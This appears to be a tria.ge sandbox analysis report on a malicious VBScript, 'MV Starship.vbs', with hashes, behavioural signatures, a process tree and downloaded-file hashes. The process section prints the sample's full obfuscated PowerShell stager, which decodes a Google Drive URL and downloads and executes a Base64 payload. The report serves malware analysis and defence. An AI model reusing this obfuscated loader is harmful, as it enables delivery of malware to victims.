Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
11/06/2024, 19:20
Static task
static1
Behavioral task
behavioral1
Sample
MV Starship.vbs
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
MV Starship.vbs
Resource
win10v2004-20240508-en
General
-
Target
MV Starship.vbs
-
Size
21KB
-
MD5
01bf68b9fb7916cf510229bdd24a6834
-
SHA1
9fd7587e632de2b688ff7c9b90ac771b04e300f4
-
SHA256
dff846c5ee6d0aa1b1d389a0dc98be418a941d2b3986faacec9b046f61190d42
-
SHA512
a056b5c410c65c4cd17b6f7542a37a2b5de6c4ce6714c6f65835de1402ed3b4cf900e394bea1f116f1bd31d3fe8d28b8f9cbef628cd6284d5e5bce1d57935ca7
-
SSDEEP
384:9sy8gxGZSf1CjZ2O7Eu0wYbVEj2zPbaFsNNFHd+tyR6MvC81Kw:9hjxGsf8jZ2iBXCPbNN1dxR6Y
Malware Config
Signatures
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs
flow ioc 13 drive.google.com 14 drive.google.com 15 drive.google.com 16 drive.google.com 17 drive.google.com 18 drive.google.com 7 drive.google.com 12 drive.google.com -
pid Process 2112 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2112 powershell.exe 2112 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2112 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1004 wrote to memory of 2112 1004 WScript.exe 85 PID 1004 wrote to memory of 2112 1004 WScript.exe 85 PID 2112 wrote to memory of 4592 2112 powershell.exe 87 PID 2112 wrote to memory of 4592 2112 powershell.exe 87
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MV Starship.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:1004 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle 1 "$derivationers = 1;$Charlottenlund='';Function Herborist($Swallowtails){$Nondiscernment=$Swallowtails.Length-$derivationers;$Macromere=$Charlottenlund+'Substring';For( $Tvrfaglighedens=7;$Tvrfaglighedens -lt $Nondiscernment;$Tvrfaglighedens+=8){$Safenesses+=$Swallowtails.$Macromere.Invoke( $Tvrfaglighedens, $derivationers);}$Safenesses;}function Elabrate($Nonprotractile){ . ($Pincheck) ($Nonprotractile);}$Lidelser=Herborist 'P ckthrMAcroc,moPen,odszaprjt li.orblaclHeltem.l HavnebaBlgedal/fedn.ng5Firmate.Epicari0Fang.no Parame(FanefjoWUdstniniUnmortinNonsustd Adv.kaoTumbekgwLob.yens Bestrs VandlbsNVirkel Tindigna Shadowa1Mdeplig0Monopol.skmteda0Bull oz;Bygning PeriostWLan,eriiUnen ernove.emp6Stats,e4Prdik,n;Prototy Be,illxYderwin6Momenta4 Ov ren;Intrige OmstninrphosphovAllodia:R,ndsav1Knaldrd2Kassekl1Preflor. Disko.0Cwtind,)Weyrlac EndemorGStumpwie.mbedetcA,hundnkFunktioo Sp ogu/Aircraf2Nymphea0Gossame1Coll.so0Ulstere0Poorish1Uroe.ne0 hoplom1Uddanne BevisfrFInfantlibelysnirTwiddl,eCerati,fSpille.oFaenapexGaussku/Vesicul1Nonadap2Knog,es1Gemaric.Triobol0 Faradi ';$Professionises=Herborist ' KlapreUambitiossafireneB,llboar Favora- AaretaATonalesg UtugtseKookr pn UintahtCannabi ';$Semimaliciousness=Herborist 'Unarre.h Beamsnt MedlydtCre trep P.emersMegavol:Artemis/Dru,gyb/Pukke.hd Gu,hierSceptici NasebevEnam lle,obbele.AvengingBr tekso SaunteoL.rerbegPeckerwlApic.bae Sbehol.MisguidcHov dtroAndagt.mPermane/Funniesu UnflaucIndgroe?Tanghame .trandxAne,ochp UnegreoBenmelsrTernin,tRecirc =Tor,vild DigrapoRepertowRe.tricnFremganlStri teoForskrkaspraydadcot rmi&Krebsdyi Huggebd Karakt=Bond,ka1,rdevejBTelefonBkistebugSturd.eeMohaireXPentodemIdiophorforudsi7ThiramsW kaerinBUnicorn7FluvialL Ma,kerI Tyvere8bitrykkrBunrakuHDirektoPdegreasSResorptpFrd.ggrw MannitVIntrodui nnihi7,issentjB.lliggO J,ttas9LnkontoXKredslgQsynodonIAnt cesdSubch rcRntgenfzD scurs ';$Gatekeep=Herborist ' Beag.e>,aughfu ';$Pincheck=Herborist 'Ni.rodii Sti.preRundvisxProposi ';$Nonparlors='Gallera';$Redecision = Herborist 'MuskifieSultelncUnisexuhFredagso Reserv Signale% Fj.rteaPredanspToksikop Englebd eessraaTa,itictKommandaJudgmat%Sovesyg\CounterGClangerrFlleskoaWilhelmmInconsomr,ndstaa TredietBruskboiSaksespc zedeki.PurplisBMorfouneBev.rinr uvsede um,raes&Slamsug&Plei tr BoyardieIn ommocSlumrethUnradiaovaskegt unam rotIlloyal ';Elabrate (Herborist 'Carpali$zouaveigSc.upullOvip rooP rchlobPlin,siaHjhledelP,tesae:Fus,llfVBrnekuleKommun,sCli ocetAlmon giOv.rlibmRendegreCr nsienAfvarsltSkumlsn=Forherl(Opr knicTrempelmTailcoadAndroid Limnolo/In.eklicGru.dst inflam$ UndistRHenstileMixuncodWoefareeTeughlycParala.iAffronts.etwiseiKapselao RejemanMaestos) Fors,n ');Elabrate (Herborist 'E,femis$Basunisg Inertil Arbe doPoes,lsbUdn,tteaFilt rcl,resump:HaandskI Ho,edinSunupsbcSole,osoTilfre.rDiast orOttekanefilmindsPsychodpProarisoAnthonin Despecd Ko,eoge carbonnd,logicc ,rebogyFor uef= ircuit$blanketSK,mponee NatriumPaalgsci kaalfrm Peskiea Whor,llAdso,biiPressekcSingulriFri adeo Overw.uForstrrsSkrvebanPetitjoeProdukts raktiks rephin.Rensemas Om kolpLongilol Ejertii F brikt Revolv(Samfund$StrubcaGStilkj aTe,etyptRejoiceeInmewknkBandworeTraktateGasappapM.chaaf)Taksi.r ');$Semimaliciousness=$Incorrespondency[0];$tyggede= (Herborist ' Saxtub$AmtsraagA,viklelLemnis oSvovletb SponseaIntermelUsbekis:SjakrinATestu sfDownlinrJerntppeKrediteastat cog NattegeRessourrForkarleAtionsvdSh kenle Osma.ss Cohes,=Endeni,NTheologeKrligstwUrinsti-SiderolOUnsec ebButteryjDisquieeIrru.tscCornututMeithsi Cen,ralSOvernatyDivisiosLigkapetJubileaeKattep,m.nderfr.SmaahanNHusmdreeBac.chatUn.erst. SystemW ClotureBibeskfbu hypheCL.psidelLastep,iPretarievalgfrinPuissant');$tyggede+=$Vestiment[1];Elabrate ($tyggede);Elabrate (Herborist 'Klag,su$ agstrbAPenetrofunr.scurban,kase FiskeoaM.aneskg HazenmeKyphoscrAwakekieDenu.ledMoatinge kafirisEnhedst.Ha,moneH UnprovecomputeaMa,sastdUsheri.eOprrsber .ymssis svmmet[Bas.sud$ nsnarePSanteesrPejle io S.percfRetriereSl ngees ReembasM ralisiPredecloI,articnNobisruiJokumsrsProgreseUdkernis Rentie]Draabne=Andedk.$TommeviLafreteviAfskedidBry,lupeP ginaelSlibninsOcean uewoundaurCoriand ');$Bgeskovene=Herborist ' krfed$ AdapteAtegnebof Thebair.amiliee,orsatsaTerensrgFl.ysomeProvec,rEnshrinePapillodporphyreReembodsBldtvan.CollectDBlgerneobrahetrw IndulgnBefezzelBevillioYustagaaDecima,dGambistFAwhe,tbiSkttendlRode,eleRajasic( Gibbon$fiksstjSRhinthoefi,rinsmOplysniiTorvedam PainkiaAntwerplSpndkraiLecit.icHabitacihmme cooPolymeruColegatsMonoc rnJararacetronarvsHala,issTremmek,Allesam$Hove.stUElhegnenWorthsrdBotrycyeHalvfulfKe,anseeNonadapnPantodpdRegist,aBandlysnApp,oprtAxiolit)He dful ';$Undefendant=$Vestiment[0];Elabrate (Herborist 'M,llemh$UnsuggegBijasallComput,oTerra zbTikampeaHeretocl Indka,: M,lanonDybvandoUnderstm AphorioOvermorlOrkesteoSyndesmgKogle niPareciscFagternaSolfri,l Altsge=Polypho(BastardTaktieane UnivocsMac ocytHouse.u-SalatslPNutspolaTabtbryt ,iddashMeinost Overexu$bonitosUReluminnArteriod Ob ecteEuro arfBilbreveSamfundnHingstfdQua.nteaVejrforn Min,nat ,nivsp)Ansteti ');while (!$nomological) {Elabrate (Herborist 'Astrofe$O.bingugReamdyslhukommeoFul,stnbFarsernaDovned lSagenhe: InddatWTubercuojernvrknSelvfordOleiferem.noplarStylingiDees.panBannockgB.ackno=Brdbakk$ p.lymat Triv ar AntibuuKloakereRiddert ') ;Elabrate $Bgeskovene;Elabrate (Herborist 'PennyeaSHumrfort,jolesgaTappernrTransfutNone ig-FrilgniSTactuallAf,aetteB leddeeAarsopgpPreclos Anvende4Aftraad ');Elabrate (Herborist '.iscali$ Dia,nog,urtzitlTrap oloMiljtekbmissusea Pe,senl Flyve :veilleunVa.meleo und,bim.empiteoReinquilSoa.makoLydighegRigeligiSkatt.lco,nivisaOctyneyl crim,n= Svi.gk(RhapsodTP stulneKrumni,sUbefjedtprosopo-Hyperb,PS orsinasubpotetSkrestehRomaski Cajoled$UgunstiUSlariumn predecd Overeme JanghefpythagoeSpeedawnTru.etsdDriveriaorchillnublu.rdtM,merss)Aniceli ') ;Elabrate (Herborist 'Jollede$Kasm rsgCoryphplTingestoOarf,shb Kejsera Fitt.nl value:Ki,teneDAffiliey PolyglrChermistp oheduiKolonn,dIndk,sts bl,dserdecidene ariciagUrazineu PortallEutele.eSpildolrdelingse Denudes execut=Skuffen$BarogragMinyanilHar.ensoAflsserbfodboldaUltra,nl ,laekk:T,aktatVBeearndoLivetrag eptonitCuculareDozentbn ,unktidchylangeAnspndesSyrenen+Charola+Ph.spho%B lbide$AnnliseISyvtalcn canzoncMedlemmoSti,lesr SummonrRust.cueManner s Ursoidp Heteraoafskri.n HomomodTrresnoe,ounternUdklknicLiberalyLuftkon.GlollincSewermaoProto huSkolastnHaan sktBybudsc ') ;$Semimaliciousness=$Incorrespondency[$Dyrtidsreguleres];}$vinhandlerens=327458;$Magtapparatets=28339;Elabrate (Herborist 'Hawaiib$HydroxygTeoribglpadmelooKimsedeb BillhoaComparilInterlo:Grass oPUnsanctaJung errSlayeruaFemalislMonitorlDiabolaeSciascolYellstelFrkapsleBu,dlsedHomogen Compuls= Libera KatalogG vertrue ClitortPrefato-Tids,ngCHeterolo Salvidn Hukom,tCoars ne estann UnovertBurtoni Bloddon$RullestUBraggernTrngs ld Sa.ieneTlingenfSvaleske FristenF selsadBanelbcaUvejsomnPemph,etTor tap ');Elabrate (Herborist 'Striati$Paginergsilhouel Spectao.ffiancbLdigtinaspidsbelBe,efit:ReorderN LerkruiUnfantavAfspi,naBerve.snFarerudsbasreli5Perisin4Kernekr Mistrus=Metapol Caterin[ GrandmSFrsteviyLobulessPly dretSnderleeMisluckmCausato.re funcCSkriveboFaata.lnHypercrvTruthsfeAnt,nymrCornutit Zhmudr] Talbeh: Dberen:BasnsesFNonposirKwak utoDressenm RabarbBBacilleaRebroacsankomneeAnmel.e6Counter4 DocentS.vinekatSyvaar.rFor.finiPron,menDacryapgTimeb l(Clatchy$LandingP Procara Cad cer OmplanaCoactivlEntombmlSvarabheBengterlidentiflPanto.ae nbewild.askino)Sporvog ');Elabrate (Herborist ' Steved$ Vanligg StandrlFo vansoselvflgb MulticaUdsigerlRigsdag:TillaveCHydrostoNonn,rnl nonseqlProc,ntaOverskrt,ohndigeA.lenderLeastw a SexsymlTittivaiNatuglezforsir eAfskrkkdUn,ertr hundes =sewer.a Hectome[ColloquSAgnostiyForandrsHavemndt Ph,llie Anten.m Dragog.AdoptivTHu.deloe dicyclxDifferet Tagkon.Arriv rEDgnfluenSistanic dov,ndoRudekond flaadsiBenthacnVaaser.gLitogra]Ud ksau: Inv ta:H irychA PreweiSOrgani.CSubrutiI tapewoIMicroli.FaresigGSeparabe AmalgatFrgef,rS otididth.rmanhrCaba etiLedetranPro.eregLittera(demarch$DioderbNNedvur,iIndulgevstoepluaPortionnEskadresTautolo5Afsvkke4Afstvni)Interme ');Elabrate (Herborist ' O erga$,osterigAde tenlKvruleroC usatibTallymea tagpaplDefinit:AmoralsOTeallitpAmor,ishAvisledoElectrilSquamatdCustomaeScioptinAgersvodfyringse Mesao =Satiriz$ Nabo,rCOutskafoGladiatlcyphe,il KoncepaTolkslotTicketieCloned.r,ueestiaStgdetelSigjneriKanariezFljte,neshin.ardPer ame..eflectsKoellenu emtalsb Co,ntesMennesktProjektrVerdensiDessic.nOpkaldsgCronies(.dtryks$Syernesv Trepu,iKirkeganFab,ikahOverfrea DisazonSkovsnedWhin.dbl eimakde Forbanr AtionseOver,bsnAr,estesnanduti,Udforin$Tr.turaM FyrretamattockgLeylapotCykels,aHousalupSammenrpDo.erenaSollyoprGeokemiaOmgaerdtSidestieKaeledyt Beseeks bo,ite)Tebor.e ');Elabrate $Opholdende;"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2112 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Grammatic.Ber && echo t"3⤵PID:4592
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD50a58e0ca24bc043e14c029faa9e70702
SHA1347208e0705812371530ec51d7721d4b9dd3c0bf
SHA256473d114c793e679a0718010cdc6c75c8968b1790841e9ec03c50bced2c18ae11
SHA51286a50d6fb809b191207a00e569806479087902666bccb30be3993053579fd79374b13376d5cb07b651b553554728372f66b57a6f6bd1451b454bf1dd3711e02a
-
Filesize
760B
MD5f25196ada6c17e22aaa368a295e155a8
SHA1f492001f2bd461632d36b7a6c01b7ce669eb8735
SHA25619708a3fdea40aa9d158e900dad6feac42850981e19773f951cfd5b433bc9456
SHA51252195b47a10d2faab65793dbfcd92fd3c9eb5c756c9f8e993ef8cdd862c7a2a79e5e5ba6b7f1cec127b064d534eeeb7e41bc19c4861f8e3001819197b830ada9
-
Filesize
8KB
MD555d942f7837425a28a672fb17eb3f2d8
SHA1c29923f355b2723e761d7955bea1497b464590bf
SHA256a41c7095232021987bd23fa9a043f71492bacfb026f858ab02cf495e45d1700e
SHA512908839ddbce4ccdb49443fef8d8dfbe98f2838f1bf408f20593e313c385e2230befeccb12379e307cd6e953b946c1436d3a72d89f5bf4c2439da08d7e9b0e93d
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82